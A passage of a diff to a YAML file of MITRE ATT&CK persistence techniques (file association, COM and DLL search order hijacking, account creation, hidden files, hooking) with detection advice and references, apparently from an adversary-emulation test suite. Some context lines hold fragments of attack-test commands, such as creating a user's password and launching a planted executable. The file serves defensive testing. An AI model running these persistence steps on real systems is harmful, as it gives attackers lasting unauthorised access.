Extensions. Retrieved November 17, 2017. + url: https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf + - source_name: Chrome Extension Crypto Miner + description: Brinkmann, M. (2017, September 19). First Chrome extension with + JavaScript Crypto Miner detected. Retrieved November 16, 2017. + url: https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/ + - source_name: ICEBRG Chrome Extensions + description: De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME + EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL + BUSINESSES. Retrieved January 17, 2018. + url: https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses + - source_name: Banker Google Chrome Extension Steals Creds + description: Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. + Retrieved November 18, 2017. + url: https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/ + - source_name: Catch All Chrome Extension + description: Marinho, R. (n.d.). "Catch-All" Google Chrome Malicious Extension + Steals All Posted Data. Retrieved November 16, 2017. + url: https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/) + - source_name: Stantinko Botnet + description: 'Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware + campaign operating covertly since 2012. Retrieved November 16, 2017.' + url: https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/ + - source_name: Chrome Extension C2 Malware + description: 'Kjaer, M. (2016, July 18). Malware in the browser: how you might + get hacked by a Chrome extension. Retrieved November 22, 2017.' + url: https://kjaer.io/extension-malware/ + modified: '2019-07-16T20:22:19.705Z' identifier: T1176 atomic_tests: - name: Chrome (Developer Mode) @@ -956,58 +1012,15 @@ persistence: 3. Then click 'Open' T1042: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1042 - source_name: mitre-attack - external_id: T1042 - - url: https://capec.mitre.org/data/definitions/556.html - source_name: capec - external_id: CAPEC-556 - - url: http://msdn.microsoft.com/en-us/library/bb166549.aspx - source_name: Microsoft File Handlers - description: Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. - Retrieved November 13, 2014. - - url: https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs - source_name: Microsoft Change Default Programs - description: Microsoft. (n.d.). Change which programs Windows 7 uses by default. - Retrieved July 26, 2016. - - url: https://docs.microsoft.com/windows-server/administration/windows-commands/assoc - source_name: Microsoft Assoc Oct 2017 - description: Plett, C. et al.. (2017, October 15). assoc. Retrieved August - 7, 2018. - - url: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd - source_name: TrendMicro TROJ-FAKEAV OCT 2012 - description: Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August - 8, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Stefan Kanthak - - Travis Smith, Tripwire x_mitre_data_sources: - Windows Registry - Process monitoring - Process command-line parameters - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: "Collect and analyze changes to Registry keys that associate - file extensions to default applications for execution and correlate with unknown - process launch activity or unusual file types for that process. \n\nUser file - association preferences are stored under [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts - and override associations configured under [HKEY_CLASSES_ROOT]. - Changes to a user's preference will occur under this entry's subkeys.\n\nAlso - look for abnormal process call trees for execution of other commands that - could relate to Discovery actions or other techniques." - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--68c96494-1a50-403e-8844-69a6af278c68 + x_mitre_permissions_required: + - User + - Administrator + - SYSTEM name: Change Default File Association - created: '2017-05-31T21:30:42.222Z' - x_mitre_version: '1.0' - type: attack-pattern description: |- When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened. @@ -1017,10 +1030,53 @@ persistence: * HKEY_CLASSES_ROOT\txtfile\shell\printto\command The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012) - x_mitre_permissions_required: - - User - - Administrator - - SYSTEM + id: attack-pattern--68c96494-1a50-403e-8844-69a6af278c68 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: "Collect and analyze changes to Registry keys that associate + file extensions to default applications for execution and correlate with unknown + process launch activity or unusual file types for that process. \n\nUser file + association preferences are stored under [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts + and override associations configured under [HKEY_CLASSES_ROOT]. + Changes to a user's preference will occur under this entry's subkeys.\n\nAlso + look for abnormal process call trees for execution of other commands that + could relate to Discovery actions or other techniques." + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Stefan Kanthak + - Travis Smith, Tripwire + created: '2017-05-31T21:30:42.222Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1042 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1042 + - external_id: CAPEC-556 + source_name: capec + url: https://capec.mitre.org/data/definitions/556.html + - description: Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. + Retrieved November 13, 2014. + source_name: Microsoft File Handlers + url: http://msdn.microsoft.com/en-us/library/bb166549.aspx + - description: Microsoft. (n.d.). Change which programs Windows 7 uses by default. + Retrieved July 26, 2016. + source_name: Microsoft Change Default Programs + url: https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs + - description: Plett, C. et al.. (2017, October 15). assoc. Retrieved August + 7, 2018. + source_name: Microsoft Assoc Oct 2017 + url: https://docs.microsoft.com/windows-server/administration/windows-commands/assoc + - description: Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August + 8, 2018. + source_name: TrendMicro TROJ-FAKEAV OCT 2012 + url: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd + modified: '2018-10-17T00:14:20.652Z' identifier: T1042 atomic_tests: - name: Change Default File Association @@ -1046,31 +1102,34 @@ persistence: ' T1122: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1122 - source_name: mitre-attack - external_id: T1122 - - url: https://msdn.microsoft.com/library/ms694363.aspx - source_name: Microsoft Component Object Model - description: Microsoft. (n.d.). The Component Object Model. Retrieved August - 18, 2016. - - url: https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence - source_name: GDATA COM Hijacking - description: 'G DATA. (2014, October). COM Object hijacking: the discreet - way of persistence. Retrieved August 13, 2016.' - - url: https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com - source_name: Endgame COM Hijacking - description: 'Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting - Persistence & Evasion with the COM. Retrieved September 15, 2016.' - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - ENDGAME + x_mitre_permissions_required: + - User x_mitre_data_sources: - Windows Registry - DLL monitoring - Loaded DLLs + name: Component Object Model Hijacking + description: 'The Component Object Model (COM) is a system within Windows to + enable interaction between software components through the operating system. + (Citation: Microsoft Component Object Model) Adversaries can use this system + to insert malicious code that can be executed in place of legitimate software + through hijacking the COM references and relationships as a means for persistence. + Hijacking a COM object requires a change in the Windows Registry to replace + a reference to a legitimate system component which may cause that component + to not work when executed. When that system component is executed through + normal system operation the adversary''s code will be executed instead. (Citation: + GDATA COM Hijacking) An adversary is likely to hijack objects that are used + frequently enough to maintain a consistent level of persistence, but are unlikely + to break noticeable functionality within the system as to avoid system instability + that could lead to detection.' + id: attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69 modified: '2019-04-18T16:41:28.889Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern x_mitre_detection: 'There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party @@ -1085,35 +1144,32 @@ persistence: load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_contributors: + - ENDGAME + created: '2017-05-31T21:31:33.979Z' kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: persistence - kill_chain_name: mitre-attack + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1122 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1122 + - source_name: Microsoft Component Object Model + description: Microsoft. (n.d.). The Component Object Model. Retrieved August + 18, 2016. + url: https://msdn.microsoft.com/library/ms694363.aspx + - source_name: GDATA COM Hijacking + description: 'G DATA. (2014, October). COM Object hijacking: the discreet + way of persistence. Retrieved August 13, 2016.' + url: https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence + - source_name: Endgame COM Hijacking + description: 'Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting + Persistence & Evasion with the COM. Retrieved September 15, 2016.' + url: https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com x_mitre_defense_bypassed: - Autoruns Analysis - id: attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69 - name: Component Object Model Hijacking - created: '2017-05-31T21:31:33.979Z' - x_mitre_version: '1.0' - type: attack-pattern - description: 'The Component Object Model (COM) is a system within Windows to - enable interaction between software components through the operating system. - (Citation: Microsoft Component Object Model) Adversaries can use this system - to insert malicious code that can be executed in place of legitimate software - through hijacking the COM references and relationships as a means for persistence. - Hijacking a COM object requires a change in the Windows Registry to replace - a reference to a legitimate system component which may cause that component - to not work when executed. When that system component is executed through - normal system operation the adversary''s code will be executed instead. (Citation: - GDATA COM Hijacking) An adversary is likely to hijack objects that are used - frequently enough to maintain a consistent level of persistence, but are unlikely - to break noticeable functionality within the system as to avoid system instability - that could lead to detection.' - x_mitre_permissions_required: - - User identifier: T1122 atomic_tests: - name: Component Object Model Hijacking @@ -1132,46 +1188,71 @@ persistence: ' T1136: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1136 - source_name: mitre-attack - external_id: T1136 - - url: https://docs.microsoft.com/windows/device-security/auditing/event-4720 - source_name: Microsoft User Creation Event - description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account - was created. Retrieved June 30, 2017.' - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_permissions_required: + - Administrator x_mitre_data_sources: + - Office 365 account logs + - Azure activity logs + - AWS CloudTrail logs - Process monitoring - Process command-line parameters - Authentication logs - Windows event logs - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: 'Collect data on account creation within a network. Event - ID 4720 is generated when a user account is created on a Windows system and - domain controller. (Citation: Microsoft User Creation Event) Perform regular - audits of domain and local system accounts to detect suspicious accounts that - may have been created by an adversary.' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + name: Create Account + description: |- + Adversaries with a sufficient level of access may create a local system, domain, or cloud tenant account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system. + + In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection. + + ### Windows + + The net user commands can be used to create a local or domain account. + + ### Office 365 + + An adversary with access to a Global Admin account can create another account and assign it the Global Admin role for persistent access to the Office 365 tenant.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019) + id: attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67 x_mitre_platforms: - Linux - macOS - Windows - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67 - name: Create Account - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' + - AWS + - GCP + - Azure AD + - Azure + - Office 365 + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '2' type: attack-pattern - description: |- - Adversaries with a sufficient level of access may create a local system or domain account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system. + x_mitre_detection: |- + Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary. - The net user commands can be used to create a local or domain account. - x_mitre_permissions_required: - - Administrator + Collect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Microsoft Threat Intelligence Center (MSTIC) + - Praetorian + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - source_name: mitre-attack + external_id: T1136 + url: https://attack.mitre.org/techniques/T1136 + - description: Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. + al.. (2019, October 8). About admin roles. Retrieved October 18, 2019. + source_name: Microsoft O365 Admin Roles + url: https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide + - description: Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019. + source_name: Microsoft Support O365 Add Another Admin, October 2019 + url: https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d + - description: 'Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account + was created. Retrieved June 30, 2017.' + source_name: Microsoft User Creation Event + url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720 + modified: '2019-10-18T18:48:44.770Z' identifier: T1136 atomic_tests: - name: Create a user account on a Linux system @@ -1275,66 +1356,16 @@ persistence: echo "#{password}" | passwd --stdin #{username} T1038: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1038 - source_name: mitre-attack - external_id: T1038 - - url: https://capec.mitre.org/data/definitions/471.html - source_name: capec - external_id: CAPEC-471 - - url: http://msdn.microsoft.com/en-US/library/ms682586 - source_name: Microsoft DLL Search - description: Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved - November 30, 2014. - - url: http://blogs.technet.com/b/msrc/archive/2010/08/21/microsoft-security-advisory-2269637-released.aspx - source_name: Microsoft 2269637 - description: Microsoft. (2010, August 22). Microsoft Security Advisory 2269637 - Released. Retrieved December 5, 2014. - - url: http://msdn.microsoft.com/en-US/library/ms682600 - source_name: Microsoft DLL Redirection - description: Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved - December 5, 2014. - - url: https://msdn.microsoft.com/en-US/library/aa375365 - source_name: Microsoft Manifests - description: Microsoft. (n.d.). Manifests. Retrieved December 5, 2014. - - url: https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/ - source_name: Mandiant Search Order - description: Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited. - Retrieved December 5, 2014. - - url: https://www.owasp.org/index.php/Binary_planting - source_name: OWASP Binary Planting - description: OWASP. (2013, January 30). Binary planting. Retrieved June 7, - 2016. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Stefan Kanthak - - Travis Smith, Tripwire + x_mitre_permissions_required: + - User + - Administrator + - SYSTEM x_mitre_data_sources: - File monitoring - DLL monitoring - Process monitoring - Process command-line parameters - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: Monitor file systems for moving, renaming, replacing, or - modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared - with past behavior) that do not correlate with known software, patches, etc., - are suspicious. Monitor DLLs loaded into a process and detect DLLs that have - the same file name but abnormal paths. Modifications to or creation of .manifest - and .local redirection files that do not correlate with software updates are - suspicious. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - - phase_name: defense-evasion - kill_chain_name: mitre-attack - x_mitre_defense_bypassed: - - Process whitelisting + name: DLL Search Order Hijacking description: "Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify @@ -1359,20 +1390,70 @@ persistence: hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace." id: attack-pattern--46944654-fcc1-4f63-9dad-628102376586 - name: DLL Search Order Hijacking - created: '2017-05-31T21:30:40.604Z' + modified: '2019-07-24T15:07:22.266Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' + x_mitre_system_requirements: + - Ability to add a DLL, manifest file, or .local file, directory, or junction. type: attack-pattern - x_mitre_permissions_required: - - User - - Administrator - - SYSTEM + x_mitre_detection: Monitor file systems for moving, renaming, replacing, or + modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared + with past behavior) that do not correlate with known software, patches, etc., + are suspicious. Monitor DLLs loaded into a process and detect DLLs that have + the same file name but abnormal paths. Modifications to or creation of .manifest + and .local redirection files that do not correlate with software updates are + suspicious. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Stefan Kanthak + - Travis Smith, Tripwire + created: '2017-05-31T21:30:40.604Z' x_mitre_effective_permissions: - User - Administrator - SYSTEM - x_mitre_system_requirements: - - Ability to add a DLL, manifest file, or .local file, directory, or junction. + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1038 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1038 + - source_name: capec + external_id: CAPEC-471 + url: https://capec.mitre.org/data/definitions/471.html + - source_name: Microsoft DLL Search + description: Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved + November 30, 2014. + url: http://msdn.microsoft.com/en-US/library/ms682586 + - source_name: OWASP Binary Planting + description: OWASP. (2013, January 30). Binary planting. Retrieved June 7, + 2016. + url: https://www.owasp.org/index.php/Binary_planting + - source_name: Microsoft 2269637 + description: Microsoft. (2010, August 22). Microsoft Security Advisory 2269637 + Released. Retrieved December 5, 2014. + url: http://blogs.technet.com/b/msrc/archive/2010/08/21/microsoft-security-advisory-2269637-released.aspx + - source_name: Microsoft DLL Redirection + description: Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved + December 5, 2014. + url: http://msdn.microsoft.com/en-US/library/ms682600 + - source_name: Microsoft Manifests + description: Microsoft. (n.d.). Manifests. Retrieved December 5, 2014. + url: https://msdn.microsoft.com/en-US/library/aa375365 + - source_name: Mandiant Search Order + description: Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited. + Retrieved December 5, 2014. + url: https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/ + x_mitre_defense_bypassed: + - Process whitelisting identifier: T1038 atomic_tests: - name: DLL Search Order Hijacking - amsi.dll @@ -1391,49 +1472,13 @@ persistence: cmd.exe /k %APPDATA%\updater.exe T1158: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1158 - source_name: mitre-attack - external_id: T1158 - - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ - source_name: Sofacy Komplex Trojan - description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). - Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. - - url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ - source_name: Antiquated Mac Malware - description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated - code. Retrieved July 5, 2017. - - url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf - source_name: WireLurker - description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. - Retrieved July 10, 2017.' - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_permissions_required: - - User x_mitre_data_sources: - File monitoring - Process monitoring - Process command-line parameters - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: Monitor the file system and shell commands for files being - created with a leading "." and the Windows command-line use of attrib.exe - to add the hidden attribute. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93 + x_mitre_permissions_required: + - User name: Hidden Files and Directories - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern description: |- To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS). @@ -1451,6 +1496,42 @@ persistence: Files on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys. + id: attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93 + x_mitre_platforms: + - Linux + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: persistence + x_mitre_detection: Monitor the file system and shell commands for files being + created with a leading "." and the Windows command-line use of attrib.exe + to add the hidden attribute. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' + modified: '2018-10-31T13:45:13.024Z' + external_references: + - external_id: T1158 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1158 + - description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). + Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. + source_name: Sofacy Komplex Trojan + url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ + - description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated + code. Retrieved July 5, 2017. + source_name: Antiquated Mac Malware + url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ + - description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. + Retrieved July 10, 2017.' + source_name: WireLurker + url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf x_mitre_defense_bypassed: - Host forensic analysis identifier: T1158 @@ -1658,69 +1739,6 @@ persistence: ls -Recurse | %{ gi $_.Fullname -stream *} | where stream -ne ':$Data' | Select-Object pschildname T1179: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1179 - source_name: mitre-attack - external_id: T1179 - - url: https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx - source_name: Microsoft Hook Overview - description: Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017. - - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - source_name: Endgame Process Injection July 2017 - description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: - A Technical Survey Of Common And Trending Process Injection Techniques. - Retrieved December 7, 2017.' - - url: https://www.adlice.com/userland-rootkits-part-1-iat-hooks/ - source_name: Adlice Software IAT Hooks Oct 2014 - description: 'Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. - Retrieved December 12, 2017.' - - url: https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/ - source_name: MWRInfoSecurity Dynamic Hooking 2015 - description: 'Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User - Mode. Retrieved December 20, 2017.' - - url: https://www.exploit-db.com/docs/17802.pdf - source_name: HighTech Bridge Inline Hooking Sept 2011 - description: Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved - December 12, 2017. - - source_name: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017 - description: Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. - Retrieved December 18, 2017. - - url: https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf - source_name: Symantec Windows Rootkits - description: Symantec. (n.d.). Windows Rootkit Overview. Retrieved December - 21, 2017. - - url: https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html - source_name: Volatility Detecting Hooks Sept 2012 - description: Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware - Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017. - - url: https://github.com/prekageo/winhook - source_name: PreKageo Winhook Jul 2011 - description: Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017. - - url: https://github.com/jay/gethooks - source_name: Jay GetHooks Sept 2011 - description: Satiro, J. (2011, September 14). GetHooks. Retrieved December - 12, 2017. - - url: https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/ - source_name: Zairon Hooking Dec 2006 - description: Felici, M. (2006, December 6). Any application-defined hook procedure - on my machine?. Retrieved December 12, 2017. - - url: https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/ - source_name: EyeofRa Detecting Hooking June 2017 - description: 'Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense - against user-land. Retrieved December 12, 2017.' - - url: http://www.gmer.net/ - source_name: GMER Rootkits - description: GMER. (n.d.). GMER. Retrieved December 12, 2017. - - url: https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx - source_name: Microsoft Process Snapshot - description: Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved - December 12, 2017. - - url: https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis - source_name: StackExchange Hooks Jul 2012 - description: Stack Exchange - Security. (2012, July 31). What are the methods - to find hooked functions and APIs?. Retrieved December 12, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_data_sources: - API monitoring - Binary file metadata @@ -1728,30 +1746,10 @@ persistence: - Loaded DLLs - Process monitoring - Windows event logs - modified: '2019-04-03T15:02:18.662Z' - x_mitre_detection: |- - Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017) - - Rootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity. - - Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014) - - Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - - phase_name: credential-access - kill_chain_name: mitre-attack - id: attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5 + x_mitre_permissions_required: + - Administrator + - SYSTEM name: Hooking - created: '2018-01-16T16:13:52.465Z' - x_mitre_version: '1.0' - type: attack-pattern description: "Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported @@ -1777,9 +1775,92 @@ persistence: 2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)" - x_mitre_permissions_required: - - Administrator - - SYSTEM + id: attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + 